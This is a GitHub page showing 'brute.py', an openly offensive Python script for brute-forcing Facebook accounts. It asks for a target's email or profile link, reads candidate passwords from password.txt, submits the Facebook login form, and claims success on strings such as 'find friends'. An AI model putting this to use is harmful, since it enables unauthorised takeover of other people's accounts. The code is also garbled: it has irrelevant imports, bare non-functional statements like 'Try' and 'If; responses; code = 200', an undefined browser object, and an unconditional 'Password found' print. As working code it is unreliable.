This repository has been archived by the owner on Dec 5, 2023. It is now read-only.
-
Notifications
You must be signed in to change notification settings - Fork 7
/
brute.py
74 lines (58 loc) · 2.09 KB
/
brute.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
import requests
import sys
import os
import time
import mechanize
if sys.version_info[0] != 3:
print('\033[1;31m WARNING : RUN WITH PYTHON3\033[1;0m')
import code
import fileinput
import sys
from argparse import FileType
from ast import Break, Continue, If, Try, excepthandler
from math import pi
from tokenize import String
import urllib
from nturl2path import url2pathname
import time
from urllib.request import urlopen
3 < 4
G = 444333
B = 443333
R = 433333
Y = 333333
print('\033[1;32m ___ ___ ___ ___ _ _ _____ ___ __ __ ___ ___ ___ ____\033[1;31m')
print('\033[1;32m| __| | _ ) | _ ) | _ \ | | | | |_ _| | __| \ \ / / | __| | _ \ |_ ) |__ |\033[1;31m')
print('\033[1;32m| _| | _ \ | _ \ | / | |_| | | | | _| \ V / | _| | / / / _ / /\033[1;31m')
print('\033[1;32m|_| |___/ |___/ |_|_\ \___/ |_| |___| \_/ |___| |_|_\ /___| (_) /_/\033[1;31m')
print('FOLLOW US ON FB:www.facebook.com/cyberhacks6')
web = mechanize.Browser()
urlopen = 'https://www.facebook.com/login.php'
header = {
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36'}
email = input("INPUT TARGET ACCOUNT MAIL/PROFILE LINK:")
print("")
print(" TARGET MAIL /PROF LINK:", email + "")
file = open('password.txt', 'r')
password = file.readline(2000000)
Password = "password\n"
print("[*] Attempting password: %s" % password)
excepthandler
ConnectionError
Try
print('\033[1;31mNO INTERNET CONNECTION OR CONNECTION TIMEOUT\033[1;0m')
requests = web.open(urlopen)
If; responses; code = 200
for form in web.forms():
if form.attrs['id']=='email':
browser.form= email
break
for forms in web.forms():
if forms.attrs['id']=='pass':
browser.forms = password
break
responses = web.submit()
responses_data = responses.read()
'find friends' in responses_data or 'two-factor authentication' in responses_data or 'security code' in responses_data;
print("[*] Password found:%s" % password)
Break